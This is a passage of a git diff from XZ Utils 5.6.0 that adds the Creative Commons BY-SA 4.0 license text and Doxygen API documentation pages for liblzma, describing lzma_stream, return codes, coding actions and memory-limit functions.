licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution-ShareAlike 4.0 International Public +License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution-ShareAlike 4.0 International Public License ("Public +License"). To the extent this Public License may be interpreted as a +contract, You are granted the Licensed Rights in consideration of Your +acceptance of these terms and conditions, and the Licensor grants You +such rights in consideration of benefits the Licensor receives from +making the Licensed Material available under these terms and +conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. BY-SA Compatible License means a license listed at + creativecommons.org/compatiblelicenses, approved by Creative + Commons as essentially the equivalent of this Public License. + + d. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + e. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + f. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + g. License Elements means the license attributes listed in the name + of a Creative Commons Public License. The License Elements of this + Public License are Attribution and ShareAlike. + + h. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + i. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + j. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + k. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + l. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + m. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. Additional offer from the Licensor -- Adapted Material. + Every recipient of Adapted Material from You + automatically receives an offer from the Licensor to + exercise the Licensed Rights in the Adapted Material + under the conditions of the Adapter's License You apply. + + c. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + b. ShareAlike. + + In addition to the conditions in Section 3(a), if You Share + Adapted Material You produce, the following conditions also apply. + + 1. The Adapter's License You apply must be a Creative Commons + license with the same License Elements, this version or + later, or a BY-SA Compatible License. + + 2. You must include the text of, or the URI or hyperlink to, the + Adapter's License You apply. You may satisfy this condition + in any reasonable manner based on the medium, means, and + context in which You Share Adapted Material. + + 3. You may not offer or impose any additional or different terms + or conditions on, or apply any Effective Technological + Measures to, Adapted Material that restrict exercise of the + rights granted under the Adapter's License You apply. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material, + including for purposes of Section 3(b); and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/doc/api/annotated.html b/doc/api/annotated.html new file mode 100644 index 00000000..58dc8f5c --- /dev/null +++ b/doc/api/annotated.html @@ -0,0 +1,74 @@ + + + + + + + +liblzma (XZ Utils): Data Structures + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+
Data Structures
+
+
+
Here are the data structures with brief descriptions:
+ + + + + + + + + + + +
 Clzma_allocatorCustom functions for memory handling
 Clzma_blockOptions for the Block and Block Header encoders and decoders
 Clzma_filterFilter options
 Clzma_index_iterIterator to get information about Blocks and Streams
 Clzma_mtMultithreading options
 Clzma_options_bcjOptions for BCJ filters
 Clzma_options_deltaOptions for the Delta filter
 Clzma_options_lzmaOptions specific to the LZMA1 and LZMA2 filters
 Clzma_streamPassing data to and from liblzma
 Clzma_stream_flagsOptions for encoding/decoding Stream Header and Stream Footer
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/base_8h.html b/doc/api/base_8h.html new file mode 100644 index 00000000..45607c58 --- /dev/null +++ b/doc/api/base_8h.html @@ -0,0 +1,586 @@ + + + + + + + +liblzma (XZ Utils): lzma/base.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
base.h File Reference
+
+
+ +

Data types and functions used in many places in liblzma API. +More...

+ + + + + + + + +

+Data Structures

struct  lzma_allocator
 Custom functions for memory handling. More...
 
struct  lzma_stream
 Passing data to and from liblzma. More...
 
+ + + + +

+Macros

#define LZMA_STREAM_INIT
 Initialization for lzma_stream.
 
+ + + + + + + +

+Typedefs

typedef unsigned char lzma_bool
 Boolean.
 
typedef struct lzma_internal_s lzma_internal
 Internal data structure.
 
+ + + + + + + + + + +

+Enumerations

enum  lzma_reserved_enum { LZMA_RESERVED_ENUM = 0 + }
 Type of reserved enumeration variable in structures. More...
 
enum  lzma_ret {
+  LZMA_OK = 0 +, LZMA_STREAM_END = 1 +, LZMA_NO_CHECK = 2 +, LZMA_UNSUPPORTED_CHECK = 3 +,
+  LZMA_GET_CHECK = 4 +, LZMA_MEM_ERROR = 5 +, LZMA_MEMLIMIT_ERROR = 6 +, LZMA_FORMAT_ERROR = 7 +,
+  LZMA_OPTIONS_ERROR = 8 +, LZMA_DATA_ERROR = 9 +, LZMA_BUF_ERROR = 10 +, LZMA_PROG_ERROR = 11 +,
+  LZMA_SEEK_NEEDED = 12 +, LZMA_RET_INTERNAL1 = 101 +, LZMA_RET_INTERNAL2 = 102 +, LZMA_RET_INTERNAL3 = 103 +,
+  LZMA_RET_INTERNAL4 = 104 +, LZMA_RET_INTERNAL5 = 105 +, LZMA_RET_INTERNAL6 = 106 +, LZMA_RET_INTERNAL7 = 107 +,
+  LZMA_RET_INTERNAL8 = 108 +
+ }
 Return values used by several functions in liblzma. More...
 
enum  lzma_action {
+  LZMA_RUN = 0 +, LZMA_SYNC_FLUSH = 1 +, LZMA_FULL_FLUSH = 2 +, LZMA_FULL_BARRIER = 4 +,
+  LZMA_FINISH = 3 +
+ }
 The 'action' argument for lzma_code() More...
 
+ + + + + + + + + + + + + + + + + + + +

+Functions

lzma_ret lzma_code (lzma_stream *strm, lzma_action action) lzma_nothrow lzma_attr_warn_unused_result
 Encode or decode data.
 
void lzma_end (lzma_stream *strm) lzma_nothrow
 Free memory allocated for the coder data structures.
 
void lzma_get_progress (lzma_stream *strm, uint64_t *progress_in, uint64_t *progress_out) lzma_nothrow
 Get progress information.
 
uint64_t lzma_memusage (const lzma_stream *strm) lzma_nothrow lzma_attr_pure
 Get the memory usage of decoder filter chain.
 
uint64_t lzma_memlimit_get (const lzma_stream *strm) lzma_nothrow lzma_attr_pure
 Get the current memory usage limit.
 
lzma_ret lzma_memlimit_set (lzma_stream *strm, uint64_t memlimit) lzma_nothrow
 Set the memory usage limit.
 
+

Detailed Description

+

Data types and functions used in many places in liblzma API.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_STREAM_INIT

+ +
+
+ + + + +
#define LZMA_STREAM_INIT
+
+Value:
{ NULL, 0, 0, NULL, 0, 0, NULL, NULL, \
+
NULL, NULL, NULL, NULL, 0, 0, 0, 0, \
+
LZMA_RESERVED_ENUM, LZMA_RESERVED_ENUM }
+
+

Initialization for lzma_stream.

+

When you declare an instance of lzma_stream, you can immediately initialize it so that initialization functions know that no memory has been allocated yet:

+

lzma_stream strm = LZMA_STREAM_INIT;

+

If you need to initialize a dynamically allocated lzma_stream, you can use memset(strm_pointer, 0, sizeof(lzma_stream)). Strictly speaking, this violates the C standard since NULL may have different internal representation than zero, but it should be portable enough in practice. Anyway, for maximum portability, you can use something like this:

+

lzma_stream tmp = LZMA_STREAM_INIT; *strm = tmp;

+ +
+
+

Typedef Documentation

+ +

◆ lzma_bool

+ +
+
+ + + + +
typedef unsigned char lzma_bool
+
+ +

Boolean.

+

This is here because C89 doesn't have stdbool.h. To set a value for variables having type lzma_bool, you can use

    +
  • C99's 'true' and 'false' from stdbool.h;
  • +
  • C++'s internal 'true' and 'false'; or
  • +
  • integers one (true) and zero (false).
  • +
+ +
+
+ +

◆ lzma_internal

+ +
+
+ + + + +
typedef struct lzma_internal_s lzma_internal
+
+ +

Internal data structure.

+

The contents of this structure is not visible outside the library.

+ +
+
+

Enumeration Type Documentation

+ +

◆ lzma_reserved_enum

+ +
+
+ + + + +
enum lzma_reserved_enum
+
+ +

Type of reserved enumeration variable in structures.

+

To avoid breaking library ABI when new features are added, several structures contain extra variables that may be used in future. Since sizeof(enum) can be different than sizeof(int), and sizeof(enum) may even vary depending on the range of enumeration constants, we specify a separate type to be used for reserved enumeration variables. All enumeration constants in liblzma API will be non-negative and less than 128, which should guarantee that the ABI won't break even when new constants are added to existing enumerations.

+ +
+
+ +

◆ lzma_ret

+ +
+
+ + + + +
enum lzma_ret
+
+ +

Return values used by several functions in liblzma.

+

Check the descriptions of specific functions to find out which return values they can return. With some functions the return values may have more specific meanings than described here; those differences are described per-function basis.

+ + + + + + + + + + + + + + +
Enumerator
LZMA_OK 

Operation completed successfully.

+
LZMA_STREAM_END 

End of stream was reached.

+

In encoder, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, or LZMA_FINISH was finished. In decoder, this indicates that all the data was successfully decoded.

+

In all cases, when LZMA_STREAM_END is returned, the last output bytes should be picked from strm->next_out.

+
LZMA_NO_CHECK 

Input stream has no integrity check.

+

This return value can be returned only if the LZMA_TELL_NO_CHECK flag was used when initializing the decoder. LZMA_NO_CHECK is just a warning, and the decoding can be continued normally.

+

It is possible to call lzma_get_check() immediately after lzma_code has returned LZMA_NO_CHECK. The result will naturally be LZMA_CHECK_NONE, but the possibility to call lzma_get_check() may be convenient in some applications.

+
LZMA_UNSUPPORTED_CHECK 

Cannot calculate the integrity check.

+

The usage of this return value is different in encoders and decoders.

+

Encoders can return this value only from the initialization function. If initialization fails with this value, the encoding cannot be done, because there's no way to produce output with the correct integrity check.

+

Decoders can return this value only from lzma_code() and only if the LZMA_TELL_UNSUPPORTED_CHECK flag was used when initializing the decoder. The decoding can still be continued normally even if the check type is unsupported, but naturally the check will not be validated, and possible errors may go undetected.

+

With decoder, it is possible to call lzma_get_check() immediately after lzma_code() has returned LZMA_UNSUPPORTED_CHECK. This way it is possible to find out what the unsupported Check ID was.

+
LZMA_GET_CHECK 

Integrity check type is now available.

+

This value can be returned only by the lzma_code() function and only if the decoder was initialized with the LZMA_TELL_ANY_CHECK flag. LZMA_GET_CHECK tells the application that it may now call lzma_get_check() to find out the Check ID. This can be used, for example, to implement a decoder that accepts only files that have strong enough integrity check.

+
LZMA_MEM_ERROR 

Cannot allocate memory.

+

Memory allocation failed, or the size of the allocation would be greater than SIZE_MAX.

+

Due to internal implementation reasons, the coding cannot be continued even if more memory were made available after LZMA_MEM_ERROR.

+
LZMA_MEMLIMIT_ERROR 

Memory usage limit was reached.

+

Decoder would need more memory than allowed by the specified memory usage limit. To continue decoding, the memory usage limit has to be increased with lzma_memlimit_set().

+

liblzma 5.2.6 and earlier had a bug in single-threaded .xz decoder (lzma_stream_decoder()) which made it impossible to continue decoding after LZMA_MEMLIMIT_ERROR even if the limit was increased using lzma_memlimit_set(). Other decoders worked correctly.

+
LZMA_FORMAT_ERROR 

File format not recognized.

+

The decoder did not recognize the input as supported file format. This error can occur, for example, when trying to decode .lzma format file with lzma_stream_decoder, because lzma_stream_decoder accepts only the .xz format.

+
LZMA_OPTIONS_ERROR 

Invalid or unsupported options.

+

Invalid or unsupported options, for example

    +
  • unsupported filter(s) or filter options; or
  • +
  • reserved bits set in headers (decoder only).
  • +
+

Rebuilding liblzma with more features enabled, or upgrading to a newer version of liblzma may help.

+
LZMA_DATA_ERROR 

Data is corrupt.

+

The usage of this return value is different in encoders and decoders. In both encoder and decoder, the coding cannot continue after this error.

+

Encoders return this if size limits of the target file format would be exceeded. These limits are huge, thus getting this error from an encoder is mostly theoretical. For example, the maximum compressed and uncompressed size of a .xz Stream is roughly 8 EiB (2^63 bytes).

+

Decoders return this error if the input data is corrupt. This can mean, for example, invalid CRC32 in headers or invalid check of uncompressed data.

+
LZMA_BUF_ERROR 

No progress is possible.

+

This error code is returned when the coder cannot consume any new input and produce any new output. The most common reason for this error is that the input stream being decoded is truncated or corrupt.

+

This error is not fatal. Coding can be continued normally by providing more input and/or more output space, if possible.

+

Typically the first call to lzma_code() that can do no progress returns LZMA_OK instead of LZMA_BUF_ERROR. Only the second consecutive call doing no progress will return LZMA_BUF_ERROR. This is intentional.

+

With zlib, Z_BUF_ERROR may be returned even if the application is doing nothing wrong, so apps will need to handle Z_BUF_ERROR specially. The above hack guarantees that liblzma never returns LZMA_BUF_ERROR to properly written applications unless the input file is truncated or corrupt. This should simplify the applications a little.

+
LZMA_PROG_ERROR 

Programming error.

+

This indicates that the arguments given to the function are invalid or the internal state of the decoder is corrupt.

    +
  • Function arguments are invalid or the structures pointed by the argument pointers are invalid e.g. if strm->next_out has been set to NULL and strm->avail_out > 0 when calling lzma_code().
  • +
  • lzma_* functions have been called in wrong order e.g. lzma_code() was called right after lzma_end().
  • +
  • If errors occur randomly, the reason might be flaky hardware.
  • +
+

If you think that your code is correct, this error code can be a sign of a bug in liblzma. See the documentation how to report bugs.

+
LZMA_SEEK_NEEDED 

Request to change the input file position.

+

Some coders can do random access in the input file. The initialization functions of these coders take the file size as an argument. No other coders can return LZMA_SEEK_NEEDED.

+

When this value is returned, the application must seek to the file position given in lzma_stream.seek_pos. This value is guaranteed to never exceed the file size that was specified at the coder initialization.

+

After seeking the application should read new input and pass it normally via lzma_stream.next_in and .avail_in.

+
+ +
+
+ +

◆ lzma_action

+ +
+
+ + + + +
enum lzma_action
+
+ +

The 'action' argument for lzma_code()

+

After the first use of LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, LZMA_FULL_BARRIER, or LZMA_FINISH, the same 'action' must be used until lzma_code() returns LZMA_STREAM_END. Also, the amount of input (that is, strm->avail_in) must not be modified by the application until lzma_code() returns LZMA_STREAM_END. Changing the 'action' or modifying the amount of input will make lzma_code() return LZMA_PROG_ERROR.

+ + + + + + +
Enumerator
LZMA_RUN 

Continue coding.

+

Encoder: Encode as much input as possible. Some internal buffering will probably be done (depends on the filter chain in use), which causes latency: the input used won't usually be decodeable from the output of the same lzma_code() call.

+

Decoder: Decode as much input as possible and produce as much output as possible.

+
LZMA_SYNC_FLUSH 

Make all the input available at output.

+

Normally the encoder introduces some latency. LZMA_SYNC_FLUSH forces all the buffered data to be available at output without resetting the internal state of the encoder. This way it is possible to use compressed stream for example for communication over network.

+

Only some filters support LZMA_SYNC_FLUSH. Trying to use LZMA_SYNC_FLUSH with filters that don't support it will make lzma_code() return LZMA_OPTIONS_ERROR. For example, LZMA1 doesn't support LZMA_SYNC_FLUSH but LZMA2 does.

+

Using LZMA_SYNC_FLUSH very often can dramatically reduce the compression ratio. With some filters (for example, LZMA2), fine-tuning the compression options may help mitigate this problem significantly (for example, match finder with LZMA2).

+

Decoders don't support LZMA_SYNC_FLUSH.

+
LZMA_FULL_FLUSH 

Finish encoding of the current Block.

+

All the input data going to the current Block must have been given to the encoder (the last bytes can still be pending in *next_in). Call lzma_code() with LZMA_FULL_FLUSH until it returns LZMA_STREAM_END. Then continue normally with LZMA_RUN or finish the Stream with LZMA_FINISH.

+

This action is currently supported only by Stream encoder and easy encoder (which uses Stream encoder). If there is no unfinished Block, no empty Block is created.

+
LZMA_FULL_BARRIER 

Finish encoding of the current Block.

+

This is like LZMA_FULL_FLUSH except that this doesn't necessarily wait until all the input has been made available via the output buffer. That is, lzma_code() might return LZMA_STREAM_END as soon as all the input has been consumed (avail_in == 0).

+

LZMA_FULL_BARRIER is useful with a threaded encoder if one wants to split the .xz Stream into Blocks at specific offsets but doesn't care if the output isn't flushed immediately. Using LZMA_FULL_BARRIER allows keeping the threads busy while LZMA_FULL_FLUSH would make lzma_code() wait until all the threads have finished until more data could be passed to the encoder.

+

With a lzma_stream initialized with the single-threaded lzma_stream_encoder() or lzma_easy_encoder(), LZMA_FULL_BARRIER is an alias for LZMA_FULL_FLUSH.

+
LZMA_FINISH 

Finish the coding operation.

+

All the input data must have been given to the encoder (the last bytes can still be pending in next_in). Call lzma_code() with LZMA_FINISH until it returns LZMA_STREAM_END. Once LZMA_FINISH has been used, the amount of input must no longer be changed by the application.

+

When decoding, using LZMA_FINISH is optional unless the LZMA_CONCATENATED flag was used when the decoder was initialized. When LZMA_CONCATENATED was not used, the only effect of LZMA_FINISH is that the amount of input must not be changed just like in the encoder.

+
+ +
+
+

Function Documentation

+ +

◆ lzma_code()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_code (lzma_streamstrm,
lzma_action action 
)
+
+ +

Encode or decode data.

+

Once the lzma_stream has been successfully initialized (e.g. with lzma_stream_encoder()), the actual encoding or decoding is done using this function. The application has to update strm->next_in, strm->avail_in, strm->next_out, and strm->avail_out to pass input to and get output from liblzma.

+

See the description of the coder-specific initialization function to find out what 'action' values are supported by the coder.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
actionAction for this function to take. Must be a valid lzma_action enum value.
+
+
+
Returns
Any valid lzma_ret. See the lzma_ret enum description for more information.
+ +
+
+ +

◆ lzma_end()

+ +
+
+ + + + + + + + +
void lzma_end (lzma_streamstrm)
+
+ +

Free memory allocated for the coder data structures.

+

After lzma_end(strm), strm->internal is guaranteed to be NULL. No other members of the lzma_stream structure are touched.

+
Note
zlib indicates an error if application end()s unfinished stream structure. liblzma doesn't do this, and assumes that application knows what it is doing.
+
Parameters
+ + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
+
+
+ +
+
+ +

◆ lzma_get_progress()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void lzma_get_progress (lzma_streamstrm,
uint64_t * progress_in,
uint64_t * progress_out 
)
+
+ +

Get progress information.

+

In single-threaded mode, applications can get progress information from strm->total_in and strm->total_out. In multi-threaded mode this is less useful because a significant amount of both input and output data gets buffered internally by liblzma. This makes total_in and total_out give misleading information and also makes the progress indicator updates non-smooth.

+

This function gives realistic progress information also in multi-threaded mode by taking into account the progress made by each thread. In single-threaded mode *progress_in and *progress_out are set to strm->total_in and strm->total_out, respectively.

+
Parameters
+ + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
[out]progress_inPointer to the number of input bytes processed.
[out]progress_outPointer to the number of output bytes processed.
+
+
+ +
+
+ +

◆ lzma_memusage()

+ +
+
+ + + + + + + + +
uint64_t lzma_memusage (const lzma_streamstrm)
+
+ +

Get the memory usage of decoder filter chain.

+

This function is currently supported only when *strm has been initialized with a function that takes a memlimit argument. With other functions, you should use e.g. lzma_raw_encoder_memusage() or lzma_raw_decoder_memusage() to estimate the memory requirements.

+

This function is useful e.g. after LZMA_MEMLIMIT_ERROR to find out how big the memory usage limit should have been to decode the input. Note that this may give misleading information if decoding .xz Streams that have multiple Blocks, because each Block can have different memory requirements.

+
Parameters
+ + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
+
+
+
Returns
How much memory is currently allocated for the filter decoders. If no filter chain is currently allocated, some non-zero value is still returned, which is less than or equal to what any filter chain would indicate as its memory requirement.
+

If this function isn't supported by *strm or some other error occurs, zero is returned.

+ +
+
+ +

◆ lzma_memlimit_get()

+ +
+
+ + + + + + + + +
uint64_t lzma_memlimit_get (const lzma_streamstrm)
+
+ +

Get the current memory usage limit.

+

This function is supported only when *strm has been initialized with a function that takes a memlimit argument.

+
Parameters
+ + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
+
+
+
Returns
On success, the current memory usage limit is returned (always non-zero). On error, zero is returned.
+ +
+
+ +

◆ lzma_memlimit_set()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_memlimit_set (lzma_streamstrm,
uint64_t memlimit 
)
+
+ +

Set the memory usage limit.

+

This function is supported only when *strm has been initialized with a function that takes a memlimit argument.

+

